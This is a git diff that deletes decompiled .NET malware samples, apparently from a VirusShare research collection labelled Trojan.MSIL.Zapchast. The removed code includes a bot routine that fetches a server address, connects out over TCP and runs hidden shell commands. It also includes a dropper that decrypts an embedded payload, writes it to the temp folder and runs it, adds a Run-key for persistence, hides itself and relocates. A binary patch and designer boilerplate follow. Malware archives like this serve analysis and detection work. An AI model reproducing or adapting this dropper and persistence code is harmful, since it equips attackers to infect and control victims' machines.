[MethodImpl(MethodImplOptions.NoInlining)] - public static void \u0003\u2000() - { - try - { - if (System.IO.File.Exists(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951))) - System.IO.File.Delete(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - \u0005.\u0002().Network.DownloadFile(\u0002\u2000.\u0002(-543724937), \u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - string str1 = \u0005.\u0002().FileSystem.ReadAllText(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - \u0005.\u0002().FileSystem.DeleteFile(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - string str2 = Strings.Right(str1, checked (str1.Length - str1.IndexOf(\u0002\u2000.\u0002(-543724970)) - 2)); - string str3 = Strings.Left(str2, str2.IndexOf(\u0002\u2000.\u0002(-543725023))); - Console.WriteLine(str3.ToString()); - \u0008.\u0003\u2000 = str3.ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static string \u0002() - { - try - { - int tickCount = Environment.TickCount; - string str = string.Empty; - int num1 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) tickCount / 1000.0 / 60.0 / 60.0 / 24.0)))); - if (num1 > 0) - str = Conversions.ToString(num1) + \u0002\u2000.\u0002(-543725009); - int num2 = checked (tickCount - num1 * 1000 * 60 * 60 * 24); - int num3 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) num2 / 1000.0 / 60.0 / 60.0)))); - if (num3 > 0) - str = str + Conversions.ToString(num3) + \u0002\u2000.\u0002(-543725001); - int num4 = checked (num2 - num3 * 1000 * 60 * 60); - int num5 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) num4 / 1000.0 / 60.0)))); - if (num5 > 0) - str = str + Conversions.ToString(num5) + \u0002\u2000.\u0002(-543724993); - int num6 = checked (num4 - num5 * 1000 * 60); - int num7 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) num6 / 1000.0)))); - if (num7 > 0) - str = str + Conversions.ToString(num7) + \u0002\u2000.\u0002(-543725049); - int num8 = checked (num6 - num7 * 1000); - return str; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return Conversions.ToString(false); - } - - public static string \u0003() - { - try - { - string str = (string) null; - ManagementObjectCollection objectCollection = new ManagementObjectSearcher(\u0002\u2000.\u0002(-543725041) + Environment.MachineName + \u0002\u2000.\u0002(-543725034), \u0002\u2000.\u0002(-543724814)).Get(); - try - { - foreach (ManagementBaseObject managementBaseObject in objectCollection) - str = managementBaseObject[\u0002\u2000.\u0002(-543724839)].ToString(); - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - return str; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return Conversions.ToString(false); - } - - public static string \u0005() - { - try - { - string Left = (string) null; - ManagementObjectCollection objectCollection = new ManagementObjectSearcher(\u0002\u2000.\u0002(-543725041) + Environment.MachineName + \u0002\u2000.\u0002(-543725034), \u0002\u2000.\u0002(-543724885)).Get(); - try - { - foreach (ManagementBaseObject managementBaseObject in objectCollection) - Left = managementBaseObject[\u0002\u2000.\u0002(-543724839)].ToString(); - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - if (Operators.CompareString(Left, string.Empty, false) == 0) - { - \u0008.\u0005\u2000 = \u0002\u2000.\u0002(-543724913) + Conversions.ToString(\u000F.\u0002()); - Left = \u0002\u2000.\u0002(-543724913) + Conversions.ToString(\u000F.\u0002()); - } - \u0008.\u0005\u2000 = Left; - return Left; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return Conversions.ToString(false); - } - - private static bool \u0002() - { - bool flag; - try - { - flag = Conversions.ToBoolean(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.CreateObject(\u0002\u2000.\u0002(-543724904), string.Empty)), (Type) null, \u0002\u2000.\u0002(-543724180), new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, \u0002\u2000.\u0002(-543724162), new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (Type) null, \u0002\u2000.\u0002(-543724203), new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public static object \u0003() - { - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0002\u2000.\u0002(-543724245)); - object objectValue = RuntimeHelpers.GetObjectValue(registryKey.GetValue(\u0002\u2000.\u0002(-543724053))); - registryKey.Close(); - return Operators.ConditionalCompareObjectEqual(objectValue, (object) \u0002\u2000.\u0002(-543724037), false) ? (object) \u0002\u2000.\u0002(-543725009) : (object) \u0002\u2000.\u0002(-543724093); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return (object) false; - } - - public static void \u0005\u2000() - { - try - { - if (!\u0008.\u000F) - return; - new Thread(new ThreadStart(\u000F.\u0002\u2000)).Start(); - Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - if (!socket.BeginConnect(\u0008.\u0003\u2000, Conversions.ToInteger(\u0002\u2000.\u0002(-543724643)), (AsyncCallback) null, (object) null).AsyncWaitHandle.WaitOne(10000, false)) - { - socket.Close(); - Console.WriteLine(\u0002\u2000.\u0002(-543724085)); - } - else - { - socket.Close(); - \u0008.\u0002\u2000 = true; - Console.WriteLine(\u0002\u2000.\u0002(-543724128)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static void \u0002(object _param0) - { - try - { - string Left1 = \u000F.\u0005(); - if (Operators.CompareString(Left1, \u0002\u2000.\u0002(-543724110), false) == 0) - { - Console.WriteLine(\u0002\u2000.\u0002(-543724158)); - \u0008.\u000F = true; - } - else - { - if (Operators.CompareString(Left1, \u0002\u2000.\u0002(-543724434), false) != 0) - return; - object Left2 = _param0; - if (Operators.ConditionalCompareObjectEqual(Left2, (object) \u0002\u2000.\u0002(-543725174), false)) - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0002\u2000.\u0002(-543724417), true); - registryKey.SetValue(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543724300), (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543724342))); - registryKey.Close(); - \u0008.\u000F = true; - Console.WriteLine(\u0002\u2000.\u0002(-543724361)); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) \u0002\u2000.\u0002(-543724672), false)) - { - if (!Operators.ConditionalCompareObjectEqual(\u000F.\u0003(), (object) \u0002\u2000.\u0002(-543725009), false)) - return; - Console.WriteLine(\u0002\u2000.\u0002(-543723672)); - try - { - Interaction.Shell(\u0002\u2000.\u0002(-543723691) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723549) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723599) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine(ex.ToString()); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1000); - Interaction.Shell(\u0002\u2000.\u0002(-543723965) + \u0008.\u0002.ToLower() + \u0002\u2000.\u0002(-543723982) + \u0008.\u0003.ToLower() + \u0002\u2000.\u0002(-543724019), AppWinStyle.Hide); - \u0008.\u000F = true; - Console.WriteLine(\u0002\u2000.\u0002(-543723806)); - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left2, (object) \u0002\u2000.\u0002(-543724661), false) || !Operators.ConditionalCompareObjectEqual(\u000F.\u0003(), (object) \u0002\u2000.\u0002(-543725009), false)) - return; - Console.WriteLine(\u0002\u2000.\u0002(-543723672)); - try - { - Interaction.Shell(\u0002\u2000.\u0002(-543723691) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723549) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723599) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine(ex.ToString()); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1000); - Interaction.Shell(\u0002\u2000.\u0002(-543723965) + \u0008.\u0002.ToLower() + \u0002\u2000.\u0002(-543723982) + \u0008.\u0003.ToLower() + \u0002\u2000.\u0002(-543724019), AppWinStyle.Hide); - \u0008.\u000F = true; - Console.WriteLine(\u0002\u2000.\u0002(-543723816)); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine((object) exception); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static object \u0005() - { - if (!\u0008.\u0005\u2000.Contains(\u0002\u2000.\u0002(-543724913))) - return (object) \u0008.\u0005\u2000; - if (Operators.ConditionalCompareObjectEqual(\u000F.\u0003(), (object) \u0002\u2000.\u0002(-543724093), false)) - return (object) \u0002\u2000.\u0002(-543723894); - return !\u0008.\u0002\u2000 ? (object) \u0002\u2000.\u0002(-543723884) : (object) \u0002\u2000.\u0002(-543725137); - } - - public static void \u0008(string _param0) - { - } - - private delegate void \u0002(string _param1); -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/       ​    b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/       ​    deleted file mode 100644 index 6eeb7d8960398b365882cabbe4b81b8968d51db5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2049 zcmWlXc_0&hAIF6l5nEW!XTF^}H#i0Vdpn zkS)~=z0aB%K^Q9yz(Y@i5z2(KY(N1|V*#Qp9=d+F%Q!H)3DwV4#KtN{iT@i6P?t)J z6NniF3m1m7$WNX`1Eqc}&2DGPrtR!p;uj~-(P{(zeju%!`sVcwn>O?({w9H{Yq};? zBq6OeFiYracHjUZGy}EVA7-qYBV{Xn+T%U~nJ03@L1A7~)! zznV(Nna1rQ?cIZnj`olJ0y~j#!X10g z5t4F>4qCtLDf?jw0~bt6L|4S$BhNw%O>g|Un<77pS0Xi7q@gWj!zrv4*$=Pfo>xcK ze&M_PxPH9T%tsh#gq2QT?CN=@M$=Hu(V#j;4!G>s;N!Vjd(IZdy_0L*7fU|Wam1@}l_UD(br@R7ChAB}w zmkJZ?~Q$t+`!Z>?N@@c9yLw579Mrie4{I3zB%ghA2l%|w;RvR*NdTM z93F|7B6GpeiY(i>f^>12-XcAb0_OljLW)kBjIz;ZPHMqztxmy9rqwAF)F~i+)O-gLxau*5j@mA$G$~b9(;1;oHMx10E@}H9ohb=2EfEM z7LLcsT}zx!T1I9z%>`;J0I7gua|id;7oYhE)LqSXc4Fyz09*KGHzgCpe$Pg&NAyJX zRL#2Lgfp}2*nf3%TW!)vr7GuOC_MqliBCcsyVb7yzxTs5rINXypm0V%w*u_{mchD> z-q@-(`W-ym4*HA;6_Ntd^+t(E3CK>!ZLRd#Ihw4SS;a2mS3Znt#0L5xHu{EM)z1-J z`CfzZ%_CsiW_bArt>;Ug8f`}~K-V>qwM6>9JIu*5>WKK9=H)RTImz#C#&KulefVxp z@Q(0Y-I>Y2E-J}|Q{J{rAslW&Iu?E6>_II!p3*8rVA=n-^VsKCb$WqWJ3|j9i9ol@8FHVGK9OblK4bb^dWGMha04-4cWQ2C zJL=|gDn8emAt?U9SI?1Tdj)mj#9C5Dd*koxWkU-b)e(o$q_Gb0tV@vixm~5(J^q8~ zIvGc3D6*OaEaZWiOlF>O`?%%9g4B5j3%dVvjK5GiyE7pB6-sgX(3>g{BQ5LXtP3poRRoesHW zMV_ZfIB{t_oFSv)Q8B9!fuCz7Or_ReZ~O#zSJU;cS_$$1qYZxO?!cFdk&75BNnOJU z)c1O2w=yiIvi6an-3)IAxYUgM@89#+207o|TgQx2<(0{3@*Oi^>^DR}D^65DyL&?iTZ^`BZc(cLeR=J5ul?EXQ%{O0V5n z5)YEw+kaL;1!7`eqNQlwwPLB;hkC};@@*SsUR6|W2e($Gwf$)@-Q+{+dWH$5w(XJeXk6WGBq}Zg*%!qcQ8o z4nu^W1%L&cH>GJ0QmW this._Button1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button1_Click); - if (this._Button1 != null) - this._Button1.Click -= eventHandler; - this._Button1 = value; - if (this._Button1 == null) - return; - this._Button1.Click += eventHandler; - } - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - private void Form1_Load(object sender, EventArgs e) - { - string[] strArray = Strings.Split(File.ReadAllText(Application.ExecutablePath), "A3E06K76EPzT37967EY"); - string s = Conversions.ToString(Form1.Decrypt(strArray[1], "FuCK")); - this.file = Encoding.Default.GetBytes(s); - File.WriteAllBytes(Path.GetTempPath() + "\\N3o.Exe", this.file); - Process.Start(Path.GetTempPath() + "\\N3o.Exe"); - if (Conversions.ToBoolean(strArray[2])) - { - Conversions.ToString(Form1.Decrypt(strArray[3], "FuCK")); - Encoding.Default.GetBytes(s); - File.WriteAllBytes(Path.GetTempPath() + "\\" + strArray[4], this.file); - Process.Start(Path.GetTempPath() + "\\" + strArray[4]); - } - if (Conversions.ToBoolean(strArray[5])) - { - File.Copy(Application.ExecutablePath, Path.GetTempPath() + "Night.exe", true); - this.uYzdsJfyt.OpenSubKey("software\\microsoft\\windows\\currentversion\\run", true).SetValue("Serve", (object) (Path.GetTempPath() + ".exe"), RegistryValueKind.String); - } - if (Conversions.ToBoolean(strArray[6])) - { - try - { - File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(strArray[7])) - this.Melt(Conversions.ToString(this.rand.Next(1, 10000)) + ".exe"); - ProjectData.EndApp(); - } - - public static object Decrypt(string Decryption, string Key) - { - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - byte[] salt = new byte[8] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8 - }; - Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Key, salt); - rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length); - rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length); - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write); - try - { - byte[] buffer = Convert.FromBase64String(Decryption); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.Close(); - Decryption = Encoding.UTF8.GetString(memoryStream.ToArray()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return (object) Decryption; - } - - private void Button1_Click(object sender, EventArgs e) - { - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - public void Melt(string NewName) - { - try - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - if (Operators.CompareString(Application.StartupPath, folderPath, false) != 0) - { - FileSystem.FileCopy(Application.ExecutablePath, folderPath + "\\" + NewName); - Interaction.Shell(folderPath + "\\" + NewName + " " + Application.ExecutablePath); - FileAttributes fileAttributes = FileAttributes.Hidden; - File.SetAttributes(folderPath + "\\" + NewName, fileAttributes); - ProjectData.EndApp(); - } - else - FileSystem.Kill(Interaction.Command()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs deleted file mode 100644 index 38055352..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MyApplication -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace XqNvNTCMcR.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs deleted file mode 100644 index 448f74d7..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MyComputer -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace XqNvNTCMcR.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs deleted file mode 100644 index 90fd4e55..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs +++ /dev/null @@ -1,207 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MyProject -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace XqNvNTCMcR.My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs deleted file mode 100644 index b3291808..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs +++ /dev/null @@ -1,69 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MySettings -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace XqNvNTCMcR.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - 